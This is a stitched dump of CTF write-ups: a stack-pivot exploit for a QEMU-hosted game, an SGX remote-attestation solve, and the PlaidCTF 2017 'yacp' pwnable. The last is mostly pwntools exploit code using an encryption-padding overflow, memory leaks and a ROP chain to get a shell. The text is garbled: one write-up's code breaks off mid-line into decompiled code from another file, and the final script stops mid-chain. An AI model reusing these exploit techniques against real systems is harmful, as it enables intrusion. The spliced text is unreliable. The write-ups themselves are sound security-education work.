Breakpoint 1, 0x00003956 in ?? () 78 | (gdb) b *0x381e 79 | Breakpoint 2 at 0x381e 80 | (gdb) c 81 | Continuing. 82 | Breakpoint 2, 0x0000381e in ?? () 83 | (gdb) p/x $bp 84 | $1 = 0xcfc 85 | ``` 86 | 87 | Look at that! The default color of the scope (red) is 0x0C. Indeed, the base pointer's MSB has been corrupted to that exact value. Remember we fully control the color, so we have full control over that base pointer's MSB. I was very lucky here. I don't know if this was intended, but if I hadn't found something like this I'd have had to fully reverse the trail calculations. 88 | 89 | ``` 90 | (gdb) set architecture i8086 91 | (gdb) x/4i $eip 92 | => 0x381e: add $0x0,%sp 93 | 0x3821: mov %bp,%sp 94 | 0x3823: pop %bp 95 | 0x3824: ret 96 | ``` 97 | 98 | We have a standard epilogue, which moves `bp` into `sp` and pops `bp`. Since there's a 2 byte pop, the stack pointer at `ret` (i.e., the location of the return address) will have a LSB of 0xFE. 99 | 100 | A plan starts to form: we could use the scope's top pixel to write a fake return address to an address with 0xFE LSB, then use the trail corruption to set the saved BP's MSB properly, so that when `render` moves `bp` into `sp` it pivots onto our fake stack and then returns to the address we choose. 101 | 102 | When choosing the addresses for our payload we have to keep in mind that the upper-left side above the framebuffer could be corrupted by the trail. So we have to go with either the right side of the row above the framebuffer, or with the row below the framebuffer. However, the address must be below 0x10000 (because the original BP is 0xEFFC and we only control the MSB). So right side of the row above the framebuffer it is. I chose to write the fake retaddr at 0xFFFE (extreme right of that row), which means the trail color hasa to be 0xFF. To write a byte at `0xfec0 + x` we simply set the color to the value we want and position the scope at `(x, 0)`, so that the top pixel at `(x, -1)` will do the job. Then we move it back down to `(x, 1)` so that we can move horizontally for the next write without corrupting the byte we just wrote. 103 | 104 | Let's start with the "library" part (QEMU seems to ignore synthetic events, so we have to activate the window to go through XTEST): 105 | 106 | ```python 107 | import time 108 | import subprocess 109 | import struct 110 | 111 | WINDOW_TITLE = '^QEMU(.*VNC)?$' 112 | WINDOW_ID = subprocess.check_output(['xdotool', 'search', '--limit', '1', '--name', WINDOW_TITLE]).strip() 113 | 114 | # may need higher values for remote 115 | DELAY_MAP_DRAW_S = 6 116 | DELAY_KEYPRESS_MS = 12 117 | 118 | scope_x = 160 119 | scope_y = 100 120 | scope_color = 0x0c 121 | 122 | def activate_window(): 123 | subprocess.check_call(['xdotool', 'windowactivate', WINDOW_ID]) 124 | 125 | def press(keys): 126 | subprocess.check_call(['xdotool', 'key', '--delay', str(DELAY_KEYPRESS_MS)] + list(keys)) 127 | time.sleep(DELAY_KEYPRESS_MS / 1000.0) 128 | 129 | def auth(): 130 | press(['minus', 'J', 'O', 'S', 'H', 'U', 'A', 'minus']) 131 | 132 | def select_blessed_base(): 133 | press(['Return']) 134 | time.sleep(DELAY_MAP_DRAW_S) 135 | press(['Left', 'Left', 'Return']) 136 | 137 | def move_scope_x(x): 138 | global scope_x 139 | if x < scope_x: 140 | press(['Left'] * (scope_x - x)) 141 | elif x > scope_x: 142 | press(['Right'] * (x - scope_x)) 143 | scope_x = x 144 | 145 | def move_scope_y(y): 146 | global scope_y 147 | if y < scope_y: 148 | press(['Up'] * (scope_y - y)) 149 | elif y > scope_y: 150 | press(['Down'] * (y - scope_y)) 151 | scope_y = y 152 | 153 | def set_scope_color(color): 154 | global scope_color 155 | if color < scope_color: 156 | press(['a'] * (scope_color - color)) 157 | elif color > scope_color: 158 | press(['q'] * (color - scope_color)) 159 | scope_color = color 160 | 161 | def write_byte(addr, val): 162 | assert(0xfec0 <= addr <= 0xffff) 163 | set_scope_color(val) 164 | move_scope_x(addr - 0xfec0) 165 | move_scope_y(0) 166 | move_scope_y(1) 167 | 168 | def trigger_trail(retaddr_addr): 169 | assert(0 <= retaddr_addr <= 0xffff and retaddr_addr & 0xff == 0xfe) 170 | set_scope_color(retaddr_addr >> 8) 171 | move_scope_x(60) 172 | move_scope_y(0) 173 | press(['Return']) 174 | 175 | activate_window() 176 | auth() 177 | select_blessed_base() 178 | ``` 179 | 180 | Now we can write our payload. I decided to inject a small infinite loop shellcode before the fake return address, at 0xFFFC. Before running the script you need to start QEMU and wait until the login prompt. Don't mess with the focus. 181 | 182 | ```python 183 | RETADDR_ADDR = 0xfffe 184 | SHELLCODE = '\xeb\xfe' 185 | PAYLOAD_ADDR = RETADDR_ADDR - len(SHELLCODE) 186 | PAYLOAD = SHELLCODE + struct.pack('>= 16; 109 | if ( !((unsigned __int16)~(_WORD)v3 & (unsigned __int16)(v3 - 0x101) & 0x8080) ) 110 | v2 += 2; 111 | enc_flag_size = &v2[-__CFADD__((_BYTE)v4, (_BYTE)v4) - 3] - flag_buf + 28; // strlen(flag_buf) + 28 112 | enc_flag = calloc(enc_flag_size, 1LL); 113 | if ( g_p_context ) 114 | sgx_ra_get_keys(*g_p_context, 1LL, aes_key); 115 | else 116 | sgx_read_rand(aes_key, 16LL); 117 | sgx_read_rand(enc_flag, 12LL); 118 | v7 = flag_buf; 119 | do 120 | { 121 | v8 = *(_DWORD *)v7; 122 | v7 += 4; 123 | v9 = ~v8 & (v8 - 16843009) & 0x80808080; 124 | } 125 | while ( !v9 ); 126 | if ( !((unsigned __int16)~(_WORD)v8 & (unsigned __int16)(v8 - 257) & 0x8080) ) 127 | v9 >>= 16; 128 | if ( !((unsigned __int16)~(_WORD)v8 & (unsigned __int16)(v8 - 257) & 0x8080) ) 129 | v7 += 2; 130 | sgx_rijndael128GCM_encrypt( 131 | aes_key, 132 | flag_buf, 133 | &v7[-__CFADD__((_BYTE)v9, (_BYTE)v9) - 3] - flag_buf, // strlen(flag_buf) 134 | (char *)(enc_flag + 28), 135 | (const char *)enc_flag, 136 | 12u, 137 | 0LL, 138 | 0, 139 | (void *)(enc_flag + 12)); 140 | enc_flag_b64 = (char *)calloc(2 * enc_flag_size, 1LL); 141 | base64encode((const void *)enc_flag, enc_flag_size, enc_flag_b64, 2 * enc_flag_size); 142 | if ( g_p_context ) 143 | strcpy(out_buf, "Well done! You have proved to be worthy!\n"); 144 | else 145 | strcpy(out_buf, "WARNING: You haven't proved to be worthy!\n"); 146 | print_ocall(out_buf, enc_flag_size); 147 | memset(out_buf, 0, sizeof(out_buf)); 148 | snprintf( 149 | out_buf, 150 | 200uLL, 151 | "Here is the IV || tag || flag encrypted with the SK key and encoded as base64:\n%s\nGood luck with it!\n", 152 | enc_flag_b64); 153 | print_ocall(out_buf, 200LL); 154 | free(enc_flag); 155 | if ( __readfsqword(0x28u) == v17 ) 156 | free(enc_flag_b64); 157 | } 158 | ``` 159 | 160 | It reads the flag from `/home/sgx-chall/flag.txt`, then it encrypts it using AES128-GCM, and finally ships it back to us base64-encoded. It's very important to note where the AES key comes from. If the global variable I named `g_p_context` is not null, it's obtained via `sgx_ra_get_keys`, which provides a key that was negotiated during remote attestation. More precisely, it's a key called SK (because the second parameter is 1). If that global variable is null, it uses a random key. It looks like we need to perform remote attestation, so that the flag will be encrypted by a known key instead of an unpredictable random one. This is further confirmed by the fact that xrefs to `g_p_context` show that it's set during remote attestation. Moreover, the output will call us worthy or not depending on the same variable. 161 | 162 | # Remote attestation 163 | 164 | SGX remote attestation is a complex process. Most importantly, it relies on various cryptographic primitives: 256-bit elliptic curve Diffie-Hellman key exchange, ECDSA-SHA256, CMAC-AES128. I'm not much of a crypto guy, so I wanted implementations that just worked and didn't get in my way. We could play with various crypto libraries and fiddle with conversions from/to the SGX serialization format, but there's a better way. Intel ships a software crypto implementation with its SGX samples, which while marked as not for production use obviously works for remote attestation. Some wonderful guy by the name of Ofir Weisse took the time to write Python bindings for that crypto code, and released it as [sgx_crypto_wrapper](https://github.com/oweisse/sgx_crypto_wrapper). Since Python is my go-to language for CTFs, this was perfect. Just copy `sgx_crypto_wrapper.py` and `crypto_wrapper.so` to your working directory and you're good to go. 165 | 166 | Speaking of Python, let me introduce a couple helpers for the upcoming code: 167 | 168 | ```python 169 | bytes_to_ints = lambda l : [ord(x) for x in l] 170 | array_to_str = lambda x : str(bytearray(x)) 171 | ``` 172 | 173 | The library we're using works with `ctypes`. The `bytes_to_ints` helper converts a string of bytes to an array of integers, which is what the library expects for buffers. The `array_to_str` does the opposite, and converts a `ctypes` array (which we get back from calls to the library) to a Python string. In the following code, I also assume that pwnlib has been initialized with a little-endian context, that `p` is a pwnlib tube to the challenge server and that `sgx` is an instance of `SGXCryptoWrapper` (i.e., the library). 174 | 175 | Great, let's delve into the actual attestation process. In this process, a client (the enclave) proves it's running securely to a *service provider* (SP), which runs on a remote server. In this case, we are the SP and the challenge server is actually the client. Since in our case this client/server naming is confusing, I will refer to the challenge as the enclave and to us as the SP. 176 | 177 | After selecting the second option, the enclave asks us for our public key (encoded with base64). This request is known as `msg0` in SGX jargon. Each party owns a 256-bit ECDH key pair to negotiate a shared secret. Public keys are 64 bytes, while the private part is 32 bytes. All we have to do is create a keypair and send the public key over: 178 | 179 | ```python 180 | # generate SP EC256-DHKE key pair 181 | sp_privkey, sp_pubkey = sgx.CreateECC256_keyPair() 182 | sp_pubkey_bytes = array_to_str(sp_pubkey) 183 | # send SP pubkey 184 | p.recvuntil('Give me your public key encoded as base64.\n') 185 | p.sendline(b64e(sp_pubkey_bytes)) 186 | ``` 187 | 188 | After this, the enclave sends us its public key, encoded with base64. This is known as `msg1`. Simple enough: 189 | 190 | ```python 191 | # get client's pubkey 192 | p.recvuntil('Here goes MSG1 encoded as base64:\n') 193 | client_pubkey_bytes = b64d(p.recvline())[:64] 194 | ``` 195 | 196 | Now that we have exchanged public keys, we have to calculate the Diffie-Hellman shared secret. The wrapper library makes this a breeze: 197 | 198 | ```python 199 | # derive ECDH shared key 200 | shared_key = sgx.ComputeSharedSecret(sp_privkey, bytes_to_ints(client_pubkey_bytes)) 201 | ``` 202 | 203 | At this point, we have to derive various keys from the shared DH secret. Those keys will be used in future communication and, most importantly, to encrypt the flag. Key derivation (along with the ECDH calculation) happens inside the `sgx_ra_proc_msg2_trusted` function in the enclave. Its implementation is identical to the [one in the SDK](https://github.com/01org/linux-sgx/blob/master/sdk/tkey_exchange/tkey_exchange.cpp#L148). Keys are derived using the `derive_key` function, which again is identical to the [SDK implementation](https://github.com/01org/linux-sgx/blob/master/common/src/ecp.cpp#L52). Since everything's from the SDK, we can just use the nice `DeriveKey` method of the wrapper library. There are four derived keys: SMK, SK, MK and VK. We won't need all of them, but let's be generous (the wrapper expects NUL-terminated tags): 204 | 205 | ```python 206 | # derive other shared keys 207 | sm_key = sgx.DeriveKey(shared_key, 'SMK\x00') 208 | s_key = sgx.DeriveKey(shared_key, 'SK\x00') 209 | m_key = sgx.DeriveKey(shared_key, 'MK\x00') 210 | v_key = sgx.DeriveKey(shared_key, 'VK\x00') 211 | ``` 212 | 213 | Now comes the big moment. After giving us its public key, the enclave asks us for `msg2`. Real attestation would also include `msg3` and `msg4`, but the challenge stops at this one. The format of `msg2` is available from the SDK: 214 | 215 | ```c 216 | typedef struct _ra_msg2_t 217 | { 218 | sgx_ec256_public_t g_b; /* the Endian-ness of Gb is Little-Endian */ 219 | sgx_spid_t spid; 220 | uint16_t quote_type; /* unlinkable Quote(0) or linkable Quote(1) in little endian */ 221 | uint16_t kdf_id; /* key derivation function id in little endian. */ 222 | sgx_ec256_signature_t sign_gb_ga; /* In little endian */ 223 | sgx_mac_t mac; /* mac_smk(g_b||spid||quote_type||kdf_id||sign_gb_ga) */ 224 | uint32_t sig_rl_size; 225 | uint8_t sig_rl[]; 226 | } sgx_ra_msg2_t; 227 | ``` 228 | 229 | Let's take this field by field: 230 | 231 | - `g_b` is the SP's public key. 232 | - `spid` is unused in this challenge (the enclave tells us `Tip: use any SPID; we won't be needing it anyway.`). 233 | - We don't care about `quote_type`. I set it to 1 (linkable). 234 | - `kdf_id` must be 1 (see `sgx_ra_proc_msg2_trusted` code). 235 | - `sign_gb_ga` is the ECDSA-SHA256 signature of the SP's public key (`gb`) concatenated with the enclave's public key (`ga`). The signing key is the SP's key. 236 | - `mac` is the CMAC-AES128 of the message so far. The CMAC key is the SMK. 237 | - `sig_rl_size` is the size of the signature revocation list (`sig_rl`). I set this to zero, and didn't append a revocation list. 238 | 239 | Okay, now we can build `msg2` and send it over: 240 | 241 | ```python 242 | # build msg2 243 | gb_ga = sp_pubkey_bytes + client_pubkey_bytes 244 | msg2 = sp_pubkey_bytes # g_b 245 | msg2 += '\x00'*16 # spid (unused) 246 | msg2 += p16(1) # quote_type = linkable 247 | msg2 += p16(1) # kdf_id 248 | msg2 += array_to_str(sgx.SignECDSA(bytes_to_ints(gb_ga), sp_privkey)) # sign_gb_ga 249 | msg2 += array_to_str(sgx.Rijndael128_CMAC(bytes_to_ints(msg2), sm_key)) # mac 250 | msg2 += p32(0) # sig_rl_size 251 | # send msg2 252 | p.recvuntil('anyway.\n') 253 | p.sendline(b64e(msg2)) 254 | ``` 255 | 256 | The attestation is successful, and we get the flag encrypted with a known key: 257 | 258 | ``` 259 | Well done! You have proved to be worthy! 260 | Here is the IV || tag || flag encrypted with the SK key and encoded as base64: 261 | QXkHCptLRJLr7eX7fqs14LF9aSlm3XXoYA0dGYSd/GppQ64EsA6dK0Hp6lZhAkcq1m4g/0/47yKNJzhCGTGqToYZUxt9FYF3WmY= 262 | Good luck with it! 263 | Goodbye! 264 | ``` 265 | 266 | # Decrypting the flag 267 | 268 | Earlier we saw that the flag was encrypted using AES128-GCM (Galois/Counter Mode) with the SK. As far as the encryption goes, it works like a normal counter mode. However, GCM also produces an authentication tag that can be used to verify the integrity of the data. From the `get_flag` function, we can see that the first 12 bytes are the counter IV, followed by 16 bytes of authentication tag, followed by the ciphertext. The SGX wrapper doesn't offer AES128-GCM, but the `cryptography` Python library does: 269 | 270 | ```python 271 | from cryptography.hazmat.backends import default_backend 272 | from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes) 273 | 274 | def decrypt_flag(s_key, flag_enc): 275 | iv = flag_enc[:12] 276 | tag = flag_enc[12:28] 277 | cipher = flag_enc[28:] 278 | dec = Cipher(algorithms.AES(s_key), modes.GCM(iv, tag), backend=default_backend()).decryptor() 279 | return dec.update(cipher) + dec.finalize() 280 | ``` 281 | 282 | Which gives us the flag: `CTF-BR{SGX_aTt35T4t10N_15_v3Ry_51MpL3_1nD33d!}`. 283 | 284 | Full script can be found [here](./solve.py). 285 | -------------------------------------------------------------------------------- /plaidctf-2017/pwnable/yacp-300/README.md: -------------------------------------------------------------------------------- 1 | [writeup by @abiondo] 2 | 3 | **CTF:** PlaidCTF 2017 4 | 5 | **Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/)) 6 | 7 | **Task:** pwnable/yacp 8 | 9 | **Points:** 300 10 | 11 | ``` 12 | What’s this? Yet another crypto problem? 13 | You’ve got to be kidding me! 14 | Running at yacp.chal.pwning.xxx:7961 15 | ``` 16 | 17 | ## The bug 18 | 19 | We're given a stripped 32-bit Linux ELF, along with the dynamic libraries it uses (libc and libcrypto). `checksec.sh` shows partial RELRO, stack canary, NX and no PIE. 20 | 21 | When running the binary without arguments we're presented with a proof-of-work challenge that's used on the remote side. We can skip this by providing an argument and we'll worry about it later. 22 | 23 | ``` 24 | $ LD_LIBRARY_PATH=. ./yacp foo 25 | Welcome to the cryptotool! 26 | Because apparently, you can never have too much crypto! 27 | 28 | What would you like to do? 29 | 0. Load data 30 | 1. Generate random data 31 | 2. Hash data 32 | 3. Encrypt data 33 | 4. Decrypt data 34 | 5. Display data 35 | ``` 36 | 37 | This tool has 32 2kB buffers (numbered 0 - 31) that you can read (option 5) and write (option 0). You can also perform crypto operations on those buffers. For example, an interaction for option 3 or 4 would go something like this: 38 | 39 | ``` 40 | What type of cipher would you like to perform? 41 | aes128 42 | For your input, Which buffer (0-31) would you like to use? 43 | 0 44 | For your output, Which buffer (0-31) would you like to use? 45 | 1 46 | For your key, Which buffer (0-31) would you like to use? 47 | 2 48 | For an IV (use any buffer if not needed) Which buffer (0-31) would you like to use? 49 | 3 50 | ``` 51 | 52 | So we have control over all aspects of the crypto operation. The cipher name can be anything libcrypto supports (`openssl list-cipher-algorithms`), as the cipher is obtained via `EVP_get_cipherbyname`. 53 | 54 | The buffers are stored in the BSS with this layout: 55 | 56 | ```c 57 | char buffer[32][2048]; // @ 0x0804c0e0 58 | int buffer_size[32]; // @ 0x0805c0e0 59 | ``` 60 | 61 | Where `buffer_size[i]` contains the actual length of the data stored in `buffer[i]`. This size field is set when a buffer is written and then used when a buffer is read. 62 | 63 | There doesn't seem to be an obvious overflow (the checks look good), but I notice that encryption and decryption routines do not perform any check on the output size. Since input and output have the same size, this looks safe on first glance. The output size of a block cipher is tipically the input size padded to be aligned to the block size of the cipher. The maximum buffer size (2kB) is aligned to the block size of any cipher I know of, so an overflow due to padding should never occur. However, libcrypto uses PKCS padding by default. If the input size is already aligned to the block size, an additional whole output block of padding is added. This means that if we completely fill the 2kB input buffer, we'll get a 2kB + padding block write to the output buffer, so the encrypted padding overflows. 64 | 65 | ## Primitive #1: `buffer_size[0]` control 66 | 67 | An obvious target for the overflow is the last buffer. The padding block will overwrite the first elements of `buffer_size`. If we can control a buffer size we should be able to leverage it into BSS read/write primitives. 68 | 69 | To control the size we need to find a cipher/key combination that will encrypt a block of PKCS padding to our desired size. This is equivalent to a known-plaintext attack. I'm not that good with crypto, so I ended up choosing a cipher and bruteforcing a key, which took too long for an exact size. However, by relaxing the constraints I was able to bruteforce a "good enough" size, which we'll use to perform a second overflow and obtain accurate size control. 70 | 71 | ``` 72 | Cipher: des-ecb 73 | Key : 0e ac 44 3a 41 41 41 41 74 | Ptxt: 08 08 08 08 08 08 08 08 75 | Ctxt: 08 50 00 00 3e 94 31 26 76 | ``` 77 | 78 | By encrypting any 2kB input into the last buffer with this key we'll corrupt `buffer_size[0]` to 20488, i.e. `10*2048 + 8`. `buffer_size[1]` will be corrupted with junk, but we don't care about it (couldn't find a cipher with 32-bit block size). This makes encryption and decryption operations that use buffer 0 as input vulnerable to overflows into data after `buffer`, because the input size is greater than 2kB. We leverage this into arbitrary control over `buffer_size[0]`: 79 | 80 | 1. Prepare an encrypted payload of `10*2048` junk bytes, followed by 4 bytes of desired value for `buffer_size[0]`, followed by 4 bytes of junk padding to align to block size (for some reason PKCS doesn't seem to work properly, so let's not bother, we don't care about `buffer_size[1]` anyway); 81 | 2. Load the payload contiguously into the buffers from 0 to 10; 82 | 3. Issue an encryption of a full buffer (e.g. 0) into buffer 31 with the bruteforced key, which will corrupt `buffer_size[0]` to 20488; 83 | 4. Issue a decryption of buffer 0 into buffer 22 with the payload key, which will overflow our desired value into `buffer_size[0]`. 84 | 85 | Later we'll need to put other data at the beginning of `buffer[0]`, and we can't use option 0 because it'll reset the size. In that case the payload (before encryption) is made of the data padded to `10*2048` bytes, followed by desired size and padding. The payload can be encrypted with any key, which will come in handy later. 86 | 87 | ## Primitive #2: BSS read 88 | 89 | We can build a read primitive on top of #1. To read `n` bytes at a positive offset `off` from `buffer`: 90 | 91 | 1. Use primitive #1 to set `buffer_size[0] = off + n`; 92 | 2. Use the display option (5) to dump the contents of buffer 0; 93 | 3. The last `n` bytes are the desired read. 94 | 95 | ## Primitive #3: BSS write 96 | 97 | We can build a primitive that overflows into BSS data after `buffer` on top of #1. To write `n` bytes of data at offset `off` from `buffer[32]` (corrupting everything in between and possibly a few bytes after, depending on alignment): 98 | 99 | 1. Prepare a payload made of `2048 + off` junk bytes, followed by the data we want to write, followed by junk padding to align to block size; 100 | 2. Use primitive #1 with the payload at the beginning of `buffer[0]` to set `buffer_size[0]` to the payload length; 101 | 3. Issue a decryption of buffer 0 into buffer 31, which will result in `n` data bytes (+ padding) overflowing after `off`. 102 | 103 | ## Putting everything together 104 | 105 | We can't access the GOT since it's before BSS due to RELRO, so corrupting something inside BSS will have to do. There's an [`EVP_CIPHER_CTX`](http://docs.huihoo.com/doxygen/openssl/1.0.1c/structevp__cipher__ctx__st.html) structure in the BSS at `0x0805c178` (past the buffer). This holds the cipher context for cipher operations. It holds an [`EVP_CIPHER *`](http://docs.huihoo.com/doxygen/openssl/1.0.1c/structevp__cipher__st.html) as its first member. `EVP_CIPHER` holds function pointers that are called during cipher operations. We can create a fake `EVP_CIPHER` inside of a buffer, then use primitive #3 to manipulate the pointer inside `EVP_CIPHER_CTX` to point to our fake struct. Since our junk padding doesn't add extra blocks, we're going to get a call to `cleanup` right after the pointer overwrite, so that's what we'll use. This provides IP control. 106 | 107 | Since NX is enabled we need to do ROP. There aren't enough gadgets in the binary, so we need to look at the libraries. Being dynamic, we need an address leak to bypass ASLR. We can't read `libc` addresses off the GOT. However, at `0x0805c208` there's the `EVP_CIPHER *` returned by `EVP_get_cipherbyname`. This points inside the data section of `libcrypto`, at a `0x1dd920` offset from its base (for `des-ecb`). We can leak it through primitive #2 and derandomize `libcrypto`. It has gadgets to build an `execve` chain (and `ropper` is able to do it automatically). 108 | 109 | The final issue is that we don't control the stack, so we need a pivot. I found out that when `cleanup` is called `ebp` contains the address of the key buffer. This is due to OpenSSL building with `-fomit-frame-pointer` by default, so `ebp` is used as a general-purpose register. A `mov esp, ebp; pop ebp; ret;` epilogue can be found at `0x3d619` from the base. The payload for primitive #1/#3 can be encrypted with an arbitrary key, so all we need to do is put 4 junk bytes (for `pop ebp`) followed by the ROP chain into the key buffer and make `cleanup` point to the stack pivot gadget. Finally, we have a local shell! 110 | 111 | ## Proof-of-work challenge 112 | 113 | When connecting to the remote service (and when running the binary without arguments) we're presented with a challenge: 114 | 115 | ``` 116 | Welcome to the cryptotool! 117 | Because apparently, you can never have too much crypto! 118 | Before we begin, please enter the magic word. 119 | It starts with f06cd76088a3a403 and is 32 characters long. 120 | Magic word? 121 | ``` 122 | 123 | By reversing the binary we see that the 8 hex bytes are generated randomly, while the length is always 32. To generate the magic word we have to append 16 bytes after the 16 hex digits, such that the SHA-256 hash of the word has its upper 28 bits set. This will require on average `2^28 / 2` hash calculations, which can bruteforced in a short time. 124 | 125 | Finally, we get a remote shell: 126 | 127 | ``` 128 | [+] Opening connection to yacp.chal.pwning.xxx on port 7961: Done 129 | [+] Solving challenge... 130 | [+] Found magic word: c1bc9a75c1b5ec6c !g,HF 131 | [+] Leaked libcrypto base: 0xf757c000 132 | [*] Switching to interactive mode 133 | $ cat /home/yacp/flag 134 | PCTF{porque_no_los_dos} 135 | ``` 136 | 137 | ## Post-CTF considerations 138 | 139 | After the CTF I realized this can be made much simpler: 140 | 141 | * Instead of bruteforcing keys and overflowing encrypted PKCS padding into `buffer_size`, we can exploit the fact that `buffer_size` for the output buffer will be set to 2048 + block size, which can then be used to overflow our desired size into `buffer_size`; 142 | * `libc` is loaded at a fixed offset before `libcrypto`, so we can derandomize `libc` using the `libcrypto` leak and call `system()`. The first argument passed to `cleanup` is the `EVP_CIPHER_CTX *`. Since `EVP_CIPHER_CTX.cipher` doesn't contain NUL bytes, we can just corrupt `EVP_CIPHER_CTX.engine` to `;sh;` to get a shell. 143 | 144 | You live, you learn :) 145 | 146 | ## Exploit code 147 | 148 | This has been reworked after the CTF just to make it easier to read, the exploit is the one described in this writeup (I didn't change it to the simpler way). 149 | 150 | ```python 151 | #!/usr/bin/python2 152 | 153 | from pwn import * 154 | from Crypto.Cipher import DES 155 | import itertools 156 | import hashlib 157 | import sys 158 | 159 | # 08 08 08 08 08 08 08 08 -> 08 50 00 00 3e 94 31 26 160 | CIPHER = 'des-ecb' 161 | CORRUPT_KEY = '\x0e\xac\x44\x3a\x41\x41\x41\x41' 162 | 163 | # Safe buffers for auxiliary data: 12-21 164 | NUM_BUFS = 32 165 | BUF_SIZE = 2048 166 | BUFFER_ADDR = 0x0804c0e0 167 | 168 | def make_choice(n): 169 | p.recvuntil('5. Display data\n') 170 | p.sendline(str(n)) 171 | 172 | def load_data(buf, data): 173 | make_choice(0) 174 | p.sendline('{}\n{}\n{}'.format(len(data), buf, data.encode('hex'))) 175 | p.recvuntil('hex-encoded bytes\n') 176 | 177 | def read_data(buf): 178 | make_choice(5) 179 | p.sendline('{}'.format(buf)) 180 | p.recvuntil(') = ') 181 | return p.recvline().strip().decode('hex') 182 | 183 | CRYPTO_OP_ENCRYPT = 3 184 | CRYPTO_OP_DECRYPT = 4 185 | def crypto_op(op, dst_buf, src_buf, key=CORRUPT_KEY): 186 | KEY_BUF = 12 187 | load_data(KEY_BUF, key) 188 | make_choice(op) 189 | p.sendline('{}\n{}\n{}\n{}\n{}'.format(CIPHER, src_buf, dst_buf, KEY_BUF, KEY_BUF)) 190 | p.recvuntil('For an IV (use any buffer if not needed) Which buffer (0-31) would you like to use?\n') 191 | 192 | def load_data_contig(buf, data): 193 | chunks = [data[i:i+BUF_SIZE] for i in range(0, len(data), BUF_SIZE)] 194 | for i in range(len(chunks)): 195 | load_data(buf + i, chunks[i]) 196 | 197 | # If len(key) > 8, uses key[:8] for payload encryption 198 | # but still loads the full key into the key buffer 199 | def primitive_control_buf0(size, data='', key=CORRUPT_KEY): 200 | CORRUPT_SIZE = 20488 201 | # Load payload 202 | data += 'A'*(CORRUPT_SIZE - 8 - len(data)) + p32(size) + 'A'*4 203 | des = DES.new(key[:8], DES.MODE_ECB) 204 | load_data_contig(0, des.encrypt(data)) 205 | # Corrupt buffer_size[0] = 20488 206 | crypto_op(CRYPTO_OP_ENCRYPT, NUM_BUFS - 1, 0) 207 | # Control size 208 | crypto_op(CRYPTO_OP_DECRYPT, NUM_BUFS - CORRUPT_SIZE / BUF_SIZE, 0, key) 209 | 210 | # addr must be >= BUFFER_ADDR 211 | def primitive_read(addr, n): 212 | off = addr - BUFFER_ADDR 213 | primitive_control_buf0(off + n) 214 | return read_data(0)[off:] 215 | 216 | # addr must be >= BUFFER_ADDR + (NUM_BUFS-1)*BUF_SIZE 217 | def primitive_write(addr, data, key=CORRUPT_KEY): 218 | off = addr - BUFFER_ADDR - (NUM_BUFS-1)*BUF_SIZE 219 | payload = 'A'*off + data 220 | payload += 'A'*(8 - len(payload) % 8) if len(payload) % 8 != 0 else '' 221 | primitive_control_buf0(len(payload), payload, key) 222 | crypto_op(CRYPTO_OP_DECRYPT, NUM_BUFS - 1, 0, key) 223 | 224 | def build_fake_evp_cipher(cleanup): 225 | # EVP_CIPHER.nid = 0x1d 226 | evp_cipher = p32(0x1d) 227 | # EVP_CIPHER.block_size = 8 228 | evp_cipher += p32(8) 229 | # EVP_CIPHER.key_len = 8 230 | evp_cipher += p32(8) 231 | # EVP_CIPHER.iv_len = 0 232 | evp_cipher += p32(0) 233 | # EVP_CIPHER.flags = 0x201 234 | evp_cipher += p32(0x201) 235 | # EVP_CIPHER.init = junk 236 | evp_cipher += p32(0xdeadbeef) 237 | # EVP_CIPHER.do_cipher = junk 238 | evp_cipher += p32(0xdeadbeef) 239 | # EVP_CIPHER.cleanup = cleanup 240 | evp_cipher += p32(cleanup) 241 | # EVP_CIPHER.ctx_size = 0x84 242 | evp_cipher += p32(0x84) 243 | # EVP_CIPHER.set_asn1_parameters = junk 244 | evp_cipher += p32(0xdeadbeef) 245 | # EVP_CIPHER.get_asn1_parameters = junk 246 | evp_cipher += p32(0xdeadbeef) 247 | # EVP_CIPHER.ctrl = junk 248 | evp_cipher += p32(0xdeadbeef) 249 | # EVP_CIPHER.app_data = junk 250 | evp_cipher += p32(0xdeadbeef) 251 | return evp_cipher 252 | 253 | def leak_libcrypto_base(): 254 | EVP_CIPHER_PTR_ADDR = 0x805c208 255 | EVP_CIPHER_LIBCRYPTO_OFFSET = 0x1dd920 256 | evp_cipher_addr = u32(primitive_read(EVP_CIPHER_PTR_ADDR, 4)) 257 | return evp_cipher_addr - EVP_CIPHER_LIBCRYPTO_OFFSET 258 | 259 | def do_rop(rop, libcrypto_base): 260 | FAKE_EVP_CIPHER_BUF = 13 261 | FAKE_EVP_CIPHER_ADDR = BUFFER_ADDR + BUF_SIZE*FAKE_EVP_CIPHER_BUF 262 | GADGET_PIVOT = libcrypto_base + 0x3d619 # mov esp, ebp; pop ebp; ret; 263 | EVP_CIPHER_CTX_CIPHER_ADDR = 0x805c178 264 | # Load fake EVP_CIPHER in a buffer 265 | evp_cipher = build_fake_evp_cipher(GADGET_PIVOT) 266 | load_data(FAKE_EVP_CIPHER_BUF, evp_cipher) 267 | # Junk for EBP in front of ROP chain 268 | fake_stack = 'A'*4 + rop 269 | # When GADGET_PIVOT is executed ebp = key buffer 270 | # EVP_CIPHER_CTX.cipher = FAKE_EVP_CIPHER_ADDR 271 | primitive_write(EVP_CIPHER_CTX_CIPHER_ADDR, p32(FAKE_EVP_CIPHER_ADDR), fake_stack) 272 | 273 | def do_challenge(): 274 | p.recvuntil('It starts with ') 275 | prefix = p.recv(16) 276 | p.recvuntil('Magic word? ') 277 | alpha = [chr(i) for i in range(0x20, 0x7F + 1)] 278 | word = None 279 | for cand in itertools.product(alpha, repeat=16): 280 | cand_word = prefix + ''.join(cand) 281 | digest = hashlib.sha256(cand_word).digest() 282 | if digest[:3] == '\xff\xff\xff' and ord(digest[3]) >= 0xF0: 283 | word = cand_word 284 | break 285 | if word is None: 286 | print('[-] Cannot solve challenge') 287 | sys.exit(1) 288 | print('[+] Found magic word: {}'.format(word)) 289 | p.sendline(word) 290 | 291 | context(arch='i386', os='linux') 292 | #p = process('./yacp', env={'LD_LIBRARY_PATH': '.'}) 293 | p = remote('yacp.chal.pwning.xxx', 7961) 294 | 295 | print('[+] Solving challenge...') 296 | do_challenge() 297 | 298 | libcrypto_base = leak_libcrypto_base() 299 | print('[+] Leaked libcrypto base: 0x{:08x}'.format(libcrypto_base)) 300 | 301 | rebase_0 = lambda x : p32(x + libcrypto_base) 302 | 303 | rop = rebase_0(0x000c9146) # 0x000c9146: pop eax; ret; 304 | rop += '//bi' 305 | rop += rebase_0(0x00009328) # 0x00009328: pop edx; ret; 306 | 